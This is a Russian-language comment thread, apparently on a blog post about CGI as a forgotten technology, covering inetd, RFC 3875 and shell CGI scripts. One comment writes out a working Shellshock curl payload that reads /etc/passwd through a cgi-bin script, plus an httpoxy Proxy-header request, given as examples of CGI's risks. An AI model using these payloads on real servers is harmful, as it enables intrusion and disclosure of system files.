Comments 22
vipw, /etc/rc.local, Apache... повеяло чем-то теплым и ламповым.
Единственный нюанс с i2pd - он ищет конфиги в домашнем каталоге, в ~/.i2pd, а для данного юзера это каталог /var/www
Попробуйте дернуть файл https://ваш_сайт/.i2pd
Копи-паста наше фсё )
В архиве-то так было!
Ну не совсем апач, даже совсем не апач, но очень удобная вещь, да.
Когда надо принять по сети пакет и обработать - и писать кроме самой обработки данных еще и работу с сетью, прием данных, создание потоков, вот это всё - когда можно просто использовать inet.d.
Не понимаю, кому он помешал. Видимо, пришельцам из мира Windows, где "программа" должна быть непременно "интегрированной" и включать в себя всё, от работы с клавиатурой до управления сокетами.
Или тем программистам, которым разрешили пользоваться портами "выше 1000", а настраивать inetd.conf не разрешили.
Монолит вместо микросервисов
CGI как технологией, использовавшейся в начале веб-времен
А мне почему то кажется, что практически на всех web сайтах технология CGI и используется до сих пор. Возможно, путаницу вносит то, что даже в описании фигурирует слово "Скрипт", но на самом деле это понятие определено в явном виде (ниже кусок из RFC 3875) и скриптом может быть процедура в серверном приложении. CGI - это набор условий, интерфейс, и в целом большинство действующих серверов их и выполняют. Залезьте в отладчик в браузере и увидите тот самый CGI интерфейс.
'script' The software that is invoked by the server according to this interface. It need not be a standalone program, but could be a dynamically-loaded or shared library, or even a subroutine in the server. It might be a set of statements interpreted at run-time, as the term 'script' is frequently understood, but that is not a requirement and within the context of this specification the term has the broader definition stated.
'script' Программное обеспечение, которое вызывается сервером в соответствии с этим интерфейсом. Это не обязательно должна быть отдельная программа, но может быть динамически загружаемая или разделяемая библиотека или даже подпрограмма на сервере. Это может быть набор операторов, интерпретируемых во время выполнения, поскольку термин «скрипт» часто понимается, но это не является требованием, и в контексте данной спецификации термин имеет более широкое определение.
Когда-то можно было делать вот так:
curl --user-agent '() { :;}; echo -ne "Content-Type: text/plain\r\n\r\n"; /bin/cat /etc/passwd' http://xx.xx.xx.xx/cgi-bin/env.cgiИ вот так:
curl --header 'Proxy: 192.0.2.222' http://xx.xx.xx.xx/cgi-bin/check_one.cgiCGI, в особенности вместе с Shell, опасен слишком широкими возможностями для манипуляции окружением снаружи. Тяжело заранее узнать, не будет ли одна из программ, вызываемых CGI-скриптом, каким-то неожиданным для разработчика образом интерпретировать переменные окружения.
Да, не без этого. Учитывая что env.cgi по умолчанию шло в комплекте...
В частности поэтому в скриптах на Perl встречалась конструкция $ENV={} или как-то так.
А в данном случае можно добавить вот такое:
# сохраним строку запроса
q=$QUERY_STRING
# все остальное удалим
unset $(env | cut -d= -f1)
...
# используем
echo ${q}
CGI настолько хорошо забыли, что даже неоднократно переизобрели:
Собственно, нагуглил это все как только понял, что моя задача отлично ложится на модель CGI - и после этого стало интересно, нет ли других реализаций кроме apache/lighttpd/openresty?
Технологии древних.
не так уж и забыта "технология"
из старой камеры этим шлюзом картинку в браузер выковыривал.
в скрипте *.sh
ffmpeg -rtsp_transport tcp -i "rtsp://${FORM_username}:${FORM_password}@127.0.0.1:554/stream1" -c:v mjpeg -map 0:v -strict -2 -c:a aac -map 0:a -loglevel 0 -f nut - 2> /tmp/out.txt
а весь выхлоп браузер сам понимает как вполне себе живое видео.
Забытые технологии: CGI